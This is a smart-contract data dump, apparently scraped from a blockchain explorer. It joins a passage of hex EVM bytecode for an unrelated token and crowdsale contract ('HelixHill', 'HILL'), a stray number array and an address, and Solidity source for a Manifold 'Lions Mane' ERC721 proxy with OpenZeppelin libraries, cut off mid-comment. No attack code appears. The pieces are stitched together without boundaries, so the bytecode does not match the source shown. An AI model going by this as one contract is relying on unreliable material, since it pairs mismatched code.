9091166004820152602401600060405180830381600087803b1515610d3757600080fd5b6102c65a03f11515610d4857600080fd5b5050600354600160a060020a0316905063779972da60b460405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b1515610d9557600080fd5b6102c65a03f11515610da657600080fd5b5050600154600160a060020a0316905063f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610dfa57600080fd5b6102c65a03f11515610e0b57600080fd5b5050600254600160a060020a0316905063f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610e5f57600080fd5b6102c65a03f11515610e7057600080fd5b5050600354600160a060020a0316905063f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610ec457600080fd5b6102c65a03f11515610ed557600080fd5b50505050565b600054600160a060020a031681565b600254600160a060020a031681565b60005433600160a060020a03908116911614610f1457600080fd5b600160a060020a0381161515610f2957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b6040516110cd80610fd483390190565b604051611cf1806120a183390190565b60405161054680613d9283390190560060606040526005805460ff1916905560008054600160a060020a033316600160a060020a03199091161790556110938061003a6000396000f3006060604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461014d57806306fdde0314610174578063095ea7b3146101fe57806314133a7c1461022057806318160ddd1461024157806323b872dd14610266578063313ce5671461028e5780633c9d93b8146102ba57806340c10f19146102d95780634120657a146102fb5780634c66326d1461031a578063661884631461033957806370a082311461035b5780637d64bcb41461037a57806381788e2b1461038d5780638ce1e6a2146103ac5780638da5cb5b146103cb57806395d89b41146103fa578063a9059cbb1461040d578063b1d6a2f01461042f578063cf1b037c14610442578063d73dd62314610461578063dd62ed3e14610483578063f2fde38b146104a8578063f308846f146104c7575b600080fd5b341561015857600080fd5b6101606104e6565b604051901515815260200160405180910390f35b341561017f57600080fd5b6101876104ef565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c35780820151838201526020016101ab565b50505050905090810190601f1680156101f05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020957600080fd5b610160600160a060020a0360043516602435610526565b341561022b57600080fd5b61023f600160a060020a0360043516610592565b005b341561024c57600080fd5b610254610602565b60405190815260200160405180910390f35b341561027157600080fd5b610160600160a060020a0360043581169060243516604435610608565b341561029957600080fd5b6102a1610628565b60405163ffffffff909116815260200160405180910390f35b34156102c557600080fd5b61023f600160a060020a036004351661062d565b34156102e457600080fd5b610160600160a060020a0360043516602435610669565b341561030657600080fd5b610160600160a060020a036004351661079c565b341561032557600080fd5b61023f600160a060020a03600435166107b1565b341561034457600080fd5b610160600160a060020a03600435166024356107ed565b341561036657600080fd5b610254600160a060020a03600435166108e7565b341561038557600080fd5b610160610902565b341561039857600080fd5b61023f600160a060020a036004351661098e565b34156103b757600080fd5b610254600160a060020a03600435166109d0565b34156103d657600080fd5b6103de6109e2565b604051600160a060020a03909116815260200160405180910390f35b341561040557600080fd5b6101876109f1565b341561041857600080fd5b610160600160a060020a0360043516602435610a28565b341561043a57600080fd5b6103de610a46565b341561044d57600080fd5b61023f600160a060020a0360043516610a5a565b341561046c57600080fd5b610160600160a060020a0360043516602435610a99565b341561048e57600080fd5b610254600160a060020a0360043581169060243516610b3d565b34156104b357600080fd5b61023f600160a060020a0360043516610b68565b34156104d257600080fd5b610160600160a060020a0360043516610c03565b60055460ff1681565b60408051908101604052600981527f48656c697848696c6c0000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055433600160a060020a039081166101009092041614806105c2575060005433600160a060020a039081169116145b15156105cd57600080fd5b60058054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60025481565b6000610620610618858585610c18565b858585610c98565b949350505050565b601281565b60005433600160a060020a0390811691161461064857600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b60055460009033600160a060020a0390811661010090920416148061069c575060005433600160a060020a039081169116145b80156106ab575060055460ff16155b15156106b657600080fd5b6002546106c9908363ffffffff610d5316565b600255600160a060020a0383166000908152600360205260409020546106f5908363ffffffff610d5316565b600160a060020a038416600081815260036020908152604080832085905560069091529081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60016020526000908152604090205460ff1681565b60005433600160a060020a039081169116146107cc57600080fd5b600160a060020a03166000908152600760205260409020805460ff19169055565b600160a060020a0333811660009081526004602090815260408083209386168352929052908120548083111561084a57600160a060020a033381166000908152600460209081526040808320938816835292905290812055610881565b61085a818463ffffffff610d6216565b600160a060020a033381166000908152600460209081526040808320938916835292905220555b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526003602052604090205490565b60055460009033600160a060020a03908116610100909204161480610935575060005433600160a060020a039081169116145b8015610944575060055460ff16155b151561094f57600080fd5b6005805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60005433600160a060020a039081169116146109a957600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b60066020526000908152604090205481565b600054600160a060020a031681565b60408051908101604052600481527f48494c4c00000000000000000000000000000000000000000000000000000000602082015281565b6000610a3f610a378484610d74565b338585610c98565b9392505050565b6005546101009004600160a060020a031681565b60005433600160a060020a03908116911614610a7557600080fd5b600160a060020a03166000908152600760205260409020805460ff19166001179055565b600160a060020a033381166000908152600460209081526040808320938616835292905290812054610ad1908363ffffffff610d5316565b600160a060020a0333811660008181526004602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610b8357600080fd5b600160a060020a0381161515610b9857600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60076020526000908152604090205460ff1681565b600080548490600160a060020a0380831691161480610c495750600554600160a060020a0382811661010090920416145b80610c6c5750600160a060020a03811660009081526001602052604090205460ff165b80610c79575060055460ff165b1515610c8457600080fd5b610c8f858585610dea565b95945050505050565b600080858015610cc05750600160a060020a03841660009081526007602052604090205460ff165b15610d49575082600160a060020a038116633b66d02b86856040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610d3457600080fd5b6102c65a03f11515610d4557600080fd5b5050505b5093949350505050565b600082820183811015610a3f57fe5b600082821115610d6e57fe5b50900390565b600080543390600160a060020a0380831691161480610da55750600554600160a060020a0382811661010090920416145b80610dc85750600160a060020a03811660009081526001602052604090205460ff165b80610dd5575060055460ff165b1515610de057600080fd5b6106208484610f6c565b6000600160a060020a0383161515610e0157600080fd5b600160a060020a038416600090815260036020526040902054821115610e2657600080fd5b600160a060020a0380851660009081526004602090815260408083203390941683529290522054821115610e5957600080fd5b600160a060020a038416600090815260036020526040902054610e82908363ffffffff610d6216565b600160a060020a038086166000908152600360205260408082209390935590851681522054610eb7908363ffffffff610d5316565b600160a060020a03808516600090815260036020908152604080832094909455878316825260048152838220339093168252919091522054610eff908363ffffffff610d6216565b600160a060020a03808616600081815260046020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610f8357600080fd5b600160a060020a033316600090815260036020526040902054821115610fa857600080fd5b600160a060020a033316600090815260036020526040902054610fd1908363ffffffff610d6216565b600160a060020a033381166000908152600360205260408082209390935590851681522054611006908363ffffffff610d5316565b600160a060020a0380851660008181526003602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3506001929150505600a165627a7a72305820f765092226122938b8289396ef49d030153cb85cb3362d7bef9f739c2a8a6f81002960606040526064600381905560075560008054600160a060020a033316600160a060020a0319909116179055611cb78061003a6000396000f3006060604052600436106102585763ffffffff60e060020a6000350416630a2a9a018114610263578063101e5a3214610287578063144fa6d71461029d5780631525ff7d146102bc57806327e235e3146102db5780632b455ac61461030c5780633ccfd60b1461032e5780634432635414610341578063480b890d146103545780634c94ac6a1461036a578063521eb2731461037d578063562605f1146103ac578063590e1ae3146103d357806359927044146103e65780635c975abb146103f95780636341ca0b1461040c5780636abc3fe414610431578063769ffb7d146104445780637ad71f72146104635780637e00d77a146104795780638090114f1461048c578063836880d31461049f5780638ab8064f146104b25780638da5cb5b146104c55780638ea5220f146104d857806390525c05146104eb57806391b7f5ed146104fe5780639bf6eb6014610514578063a035b1fe14610536578063a314dc2d14610549578063a34d92701461055c578063aa525c5514610572578063ab36e4a61461058b578063b03048131461059e578063b071cbe6146105b1578063be9a6555146105c4578063c59255dc146105d7578063ca1e5bb7146105f9578063cafb22021461061b578063d279830c1461062e578063d56b28891461064a578063d64196f81461065d578063d7d8804314610670578063deaa59df14610683578063e28fa27d146106a2578063e89e4ed6146106b8578063ef78d4fd14610700578063f2fde38b14610713578063f6a03ebf14610732578063f89be59314610748578063fc0c546a1461075b578063fcf401701461076e575b610260610781565b50005b341561026e57600080fd5b610285600160a060020a03600435166024356107f1565b005b341561029257600080fd5b61028560043561085a565b34156102a857600080fd5b610285600160a060020a036004351661087a565b34156102c757600080fd5b610285600160a060020a03600435166108b7565b34156102e657600080fd5b6102fa600160a060020a03600435166108f4565b60405190815260200160405180910390f35b341561031757600080fd5b61028560ff60043516602435604435606435610906565b341561033957600080fd5b610285610aa9565b341561034c57600080fd5b610285610b9d565b341561035f57600080fd5b610285600435610bef565b341561037557600080fd5b610285610c0f565b341561038857600080fd5b610390610c99565b604051600160a060020a03909116815260200160405180910390f35b34156103b757600080fd5b6103bf610ca8565b604051901515815260200160405180910390f35b34156103de57600080fd5b610285610cb6565b34156103f157600080fd5b610390610d3d565b341561040457600080fd5b6103bf610d4c565b341561041757600080fd5b610285600160a060020a0360043581169060243516610d6d565b341561043c57600080fd5b610390610e70565b341561044f57600080fd5b610285600160a060020a0360043516610e7f565b341561046e57600080fd5b610390600435610ebc565b341561048457600080fd5b610285610ee4565b341561049757600080fd5b6102fa6110a9565b34156104aa57600080fd5b6103bf6110af565b34156104bd57600080fd5b6102856110b8565b34156104d057600080fd5b6103906110f3565b34156104e357600080fd5b610390611102565b34156104f657600080fd5b6102fa61111a565b341561050957600080fd5b610285600435611126565b341561051f57600080fd5b610285600160a060020a0360043516602435611146565b341561054157600080fd5b6102fa61118a565b341561055457600080fd5b6103bf611190565b341561056757600080fd5b61028560043561119f565b341561057d57600080fd5b61028560ff600435166111bf565b341561059657600080fd5b6102fa611335565b34156105a957600080fd5b6102fa61133c565b34156105bc57600080fd5b6102fa6113d6565b34156105cf57600080fd5b6102fa6113dc565b34156105e257600080fd5b61028560ff600435166024356044356064356113e2565b341561060457600080fd5b6102fa600160a060020a03600435166024356114d7565b341561062657600080fd5b6102fa611521565b341561063957600080fd5b610285600435602435604435611527565b341561065557600080fd5b61028561163f565b341561066857600080fd5b6102fa611797565b341561067b57600080fd5b6102fa61179d565b341561068e57600080fd5b610285600160a060020a03600435166117c0565b34156106ad57600080fd5b6102856004356117fd565b34156106c357600080fd5b6106ce60043561181d565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b341561070b57600080fd5b6102fa61185c565b341561071e57600080fd5b610285600160a060020a0360043516611862565b341561073d57600080fd5b6102856004356118f0565b341561075357600080fd5b6102fa611910565b341561076657600080fd5b610390611916565b341561077957600080fd5b610285611925565b600034600e54811015151561079557600080fd5b600d5442101580156107ad57506107aa61179d565b42105b15156107b857600080fd5b60125474010000000000000000000000000000000000000000900460ff16156107e057600080fd5b6107ea333461194d565b91505b5090565b60005433600160a060020a0390811691161461080c57600080fd5b600580546001810161081e8382611bb7565b5060009182526020808320919091018054600160a060020a03909516600160a060020a0319909516851790559281526006909252604090912055565b60005433600160a060020a0390811691161461087557600080fd5b600a55565b60005433600160a060020a0390811691161461089557600080fd5b60048054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146108d257600080fd5b60128054600160a060020a031916600160a060020a0392909216919091179055565b60086020526000908152604090205481565b61090e611be0565b6000805433600160a060020a0390811691161461092a57600080fd5b60115460ff87161061093b57600080fd5b60a06040519081016040528061095f87670de0b6b3a764000063ffffffff61197116565b815260200185815260200184815260200160008152602001600081525091506109958260000151600f549063ffffffff61199c16565b600f556109af60408301516010549063ffffffff61199c16565b60105560118054906109c49060018301611c10565b5050601154600119015b8560ff16811115610a4c5760118054829081106109e757fe5b9060005260206000209060050201601182600101815481101515610a0757fe5b600091825260209091208254600590920201908155600180830154908201556002808301549082015560038083015490820155600491820154910155600019016109ce565b8160118760010160ff16815481101515610a6257fe5b906000526020600020906005020160008201518155602082015181600101556040820151816002015560608201518160030155608082015160049091015550505050505050565b60005433600160a060020a0390811691161480610ae2575033600160a060020a031673ea15adb66dc92a4bbccc8bf32fd25e2e86a2a770145b1515610aed57600080fd5b60095460ff161515610afe57600080fd5b60095462010000900460ff161515610b625773ea15adb66dc92a4bbccc8bf32fd25e2e86a2a77060006768155a43676e0000604051600060405180830381858888f193505050501515610b5057600080fd5b6009805462ff00001916620100001790555b600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610b9b57600080fd5b565b60005433600160a060020a03908116911614610bb857600080fd5b6012805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b60005433600160a060020a03908116911614610c0a57600080fd5b600355565b6000805433600160a060020a03908116911614610c2b57600080fd5b5060005b601154811015610c7e576011805482908110610c4757fe5b6000918252602082206005909102018181556001808201839055600282018390556003820183905560049091019190915501610c2f565b6000610c8b601182611c10565b50506000600f819055601055565b600254600160a060020a031681565b600954610100900460ff1681565b600954600090610100900460ff168015610ce65750600160a060020a033316600090815260086020526040812054115b1515610cf157600080fd5b50600160a060020a033316600081815260086020526040808220805492905590919082156108fc0290839051600060405180830381858888f193505050501515610d3a57600080fd5b50565b601254600160a060020a031681565b60125474010000000000000000000000000000000000000000900460ff1681565b6000805433600160a060020a03908116911614610d8957600080fd5b5080600160a060020a03811663a9059cbb84826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610de957600080fd5b6102c65a03f11515610dfa57600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e5057600080fd5b6102c65a03f11515610e6157600080fd5b50505060405180515050505050565b600b54600160a060020a031681565b60005433600160a060020a03908116911614610e9a57600080fd5b600b8054600160a060020a031916600160a060020a0392909216919091179055565b6005805482908110610eca57fe5b600091825260209091200154600160a060020a0316905081565b60008054819081908190819033600160a060020a03908116911614610f0857600080fd5b60009450600093505b600554841015610f7057610f6360066000600587815481101515610f3157fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054869063ffffffff61199c16565b9450600190930192610f11565b600454600160a060020a03166318160ddd6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610fb857600080fd5b6102c65a03f11515610fc957600080fd5b505050604051805160075490945061100c9150610fec908763ffffffff6119ab16565b60075461100090869063ffffffff61197116565b9063ffffffff6119bd16565b9150600090505b6005548110156110a25761109a60058281548110151561102f57fe5b600091825260208220015460075460058054600160a060020a03909316936110959361100092600692918990811061106357fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054879063ffffffff61197116565b6119d4565b600101611013565b5050505050565b60075481565b60095460ff1681565b60005433600160a060020a039081169116146110d357600080fd5b6012805474ff000000000000000000000000000000000000000019169055565b600054600160a060020a031681565b73ea15adb66dc92a4bbccc8bf32fd25e2e86a2a77081565b6768155a43676e000081565b60005433600160a060020a0390811691161461114157600080fd5b600c55565b600b5433600160a060020a0390811691161480611171575060005433600160a060020a039081169116145b151561117c57600080fd5b61118682826119d4565b5050565b600c5481565b60095462010000900460ff1681565b60005433600160a060020a039081169116146111ba57600080fd5b600e55565b60008054819033600160a060020a039081169116146111dd57600080fd5b60008360ff16101580156111f5575060115460ff8416105b151561120057600080fd5b6011805460ff851690811061121157fe5b9060005260206000209060050201915061123a8260000154600f546119ab90919063ffffffff16565b600f5560028201546010546112549163ffffffff6119ab16565b6010556011805460ff851690811061126857fe5b600091825260208220600590910201818155600181018290556002810182905560038101829055600401555060ff82165b6011546000190181101561131c5760118054600183019081106112b857fe5b90600052602060002090600502016011828154811015156112d557fe5b600091825260209091208254600590920201908155600180830154818301556002808401549083015560038084015490830155600492830154929091019190915501611299565b601180549061132f906000198301611c10565b50505050565b6011545b90565b600d54600090815b6011548110156113cc576113846201518060118381548110151561136457fe5b90600052602060002090600502016002015461197190919063ffffffff16565b8201915060118181548110151561139757fe5b90600052602060002090600502016004015460001480156113b757508142105b156113c4578092506113d1565b600101611344565b600080fd5b505090565b600f5481565b600d5481565b6000805433600160a060020a039081169116146113fe57600080fd5b60008560ff1610158015611416575060115460ff8616105b151561142157600080fd5b6011805460ff871690811061143257fe5b9060005260206000209060050201905061145b8160000154600f546119ab90919063ffffffff16565b600f5560028101546010546114759163ffffffff6119ab16565b60105561149084670de0b6b3a764000063ffffffff61197116565b8082556001820184905560028201839055600f546114b39163ffffffff61199c16565b600f5560028101546010546114cd9163ffffffff61199c16565b6010555050505050565b600b5460009033600160a060020a0390811691161480611505575060005433600160a060020a039081169116145b151561151057600080fd5b61151a838361194d565b9392505050565b60015481565b61152f611be0565b60005433600160a060020a0390811691161461154a57600080fd5b60008411801561155a5750600083115b80156115665750600082115b151561157157600080fd5b60a06040519081016040528061159586670de0b6b3a764000063ffffffff61197116565b81526020018481526020018381526020016000815260200160008152509050601180548060010182816115c89190611c10565b600092835260209092208391600502018151815560208201518160010155604082015181600201556060820151816003015560808201516004909101555061161c90508151600f549063ffffffff61199c16565b600f5561163660408201516010549063ffffffff61199c16565b60105550505050565b6000805433600160a060020a0390811691161461165b57600080fd5b611663611a52565b156116d157600454600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156116b057600080fd5b6102c65a03f115156116c157600080fd5b5050506040518051905050610d3a565b6116d9610aa9565b6116e1610ee4565b600454600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561172957600080fd5b6102c65a03f1151561173a57600080fd5b50505060405180515050601254600160a060020a031690508063be9a65556040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561178657600080fd5b6102c65a03f1151561132f57600080fd5b600e5481565b60006117bb6010546201518002600d5461199c90919063ffffffff16565b905090565b60005433600160a060020a039081169116146117db57600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461181857600080fd5b600f55565b601180548290811061182b57fe5b6000918252602090912060059091020180546001820154600283015460038401546004909401549294509092909185565b60105481565b60005433600160a060020a0390811691161461187d57600080fd5b600160a060020a038116151561189257600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461190b57600080fd5b600d55565b600a5481565b600454600160a060020a031681565b60005433600160a060020a0390811691161461194057600080fd5b6000610d3a600582611bb7565b60008061195a8484611a80565b90506119668484611ac0565b8091505b5092915050565b600080831515611984576000915061196a565b5082820282848281151561199457fe5b041461196657fe5b60008282018381101561196657fe5b6000828211156119b757fe5b50900390565b60008082848115156119cb57fe5b04949350505050565b600454600160a060020a03166340c10f19838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611a3357600080fd5b6102c65a03f11515611a4457600080fd5b505050604051805150505050565b60095460009060ff161515611a71576009805461ff0019166101001790555b50600954610100900460ff1690565b600080600f54600154101515611a9557600080fd5b600154611aa8908463ffffffff61199c16565b600155611ab483611b2f565b905061196684826119d4565b600160a060020a038216600090815260086020526040902054611ae9908263ffffffff61199c16565b600160a060020a03831660009081526008602052604090205560095460ff16158015611b195750600a5460015410155b15611186576009805460ff191660011790555050565b600080600080611b3d61133c565b9250601183815481101515611b4e57fe5b90600052602060002090600502019150611b81670de0b6b3a764000061100087856001015461197190919063ffffffff16565b6003830154909150611b99908663ffffffff61199c16565b6003830181905582549010611baf574260048301555b949350505050565b815481835581811511611bdb57600083815260209020611bdb918101908301611c3c565b505050565b60a06040519081016040528060008152602001600081526020016000815260200160008152602001600081525090565b815481835581811511611bdb57600502816005028360005260206000209182019101611bdb9190611c56565b61133991905b808211156107ed5760008155600101611c42565b61133991905b808211156107ed5760008082556001820181905560028201819055600382018190556004820155600501611c5c5600a165627a7a72305820b8b507d679a714b1262377391076241d8b34457216ba808d4b8f415e2e466b140029606060405260008054600160a060020a033316600160a060020a0319909116179055610516806100306000396000f3006060604052600436106100a05763ffffffff60e060020a600035041663077e633481146100a5578063144fa6d7146100ca5780631f2698ab146100eb5780633fd8b02f14610112578063483a20b21461012557806349df728c14610144578063779972da146101635780638da5cb5b146101795780639c1e03a0146101a8578063be9a6555146101bb578063f2fde38b146101ce578063fc0c546a146101ed575b600080fd5b34156100b057600080fd5b6100b8610200565b60405190815260200160405180910390f35b34156100d557600080fd5b6100e9600160a060020a0360043516610206565b005b34156100f657600080fd5b6100fe610250565b604051901515815260200160405180910390f35b341561011d57600080fd5b6100b8610259565b341561013057600080fd5b6100e9600160a060020a036004351661025f565b341561014f57600080fd5b6100e9600160a060020a03600435166102a9565b341561016e57600080fd5b6100e96004356103bb565b341561018457600080fd5b61018c6103f0565b604051600160a060020a03909116815260200160405180910390f35b34156101b357600080fd5b61018c6103ff565b34156101c657600080fd5b6100e961040e565b34156101d957600080fd5b6100e9600160a060020a0360043516610440565b34156101f857600080fd5b61018c6104db565b60045481565b60005433600160a060020a0390811691161461022157600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60055460ff1681565b60035481565b60005433600160a060020a0390811691161461027a57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805433600160a060020a039081169116146102c557600080fd5b60045442116102d357600080fd5b50600154600160a060020a03168063a9059cbb83826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561033557600080fd5b6102c65a03f1151561034657600080fd5b5050506040518051905060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561039c57600080fd5b6102c65a03f115156103ad57600080fd5b505050604051805150505050565b60005433600160a060020a039081169116146103d657600080fd5b60055460ff16156103e657600080fd5b6201518002600355565b600054600160a060020a031681565b600254600160a060020a031681565b60025433600160a060020a0390811691161461042957600080fd5b6005805460ff191660011790556003544201600455565b60005433600160a060020a0390811691161461045b57600080fd5b600160a060020a038116151561047057600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a0316815600a165627a7a7230582028e6fa7e0940a9db9391dfe07527a5589fb3376e81ff072c98603f9d5972228d0029a165627a7a72305820d7b189debff76a705d111d1adb36017ed790b45ba06eaec2b6071fecf84d99360029
[ 4, 19, 9, 16, 5 ]
0xf2468786c0e079b6cc5f6284a5009195db430691
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Lions Mane /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // __ __ ______ .__ __. _______. .___ ___. ___ .__ __. _______ // // | | | | / __ \ | \ | | / | | \/ | / \ | \ | | | ____| // // | | | | | | | | | \| | | (----` | \ / | / ^ \ | \| | | |__ // // | | | | | | | | | . ` | \ \ | |\/| | / /_\ \ | . ` | | __| // // | `----.| | | `--' | | |\ | .----) | | | | | / _____ \ | |\ | | |____ // // |_______||__| \______/ |__| \__| |_______/ |__| |__| /__/ \__\ |__| \__| |_______| // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////// contract LMM is ERC721Creator { constructor() ERC721Creator("Lions Mane", "LMM") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a 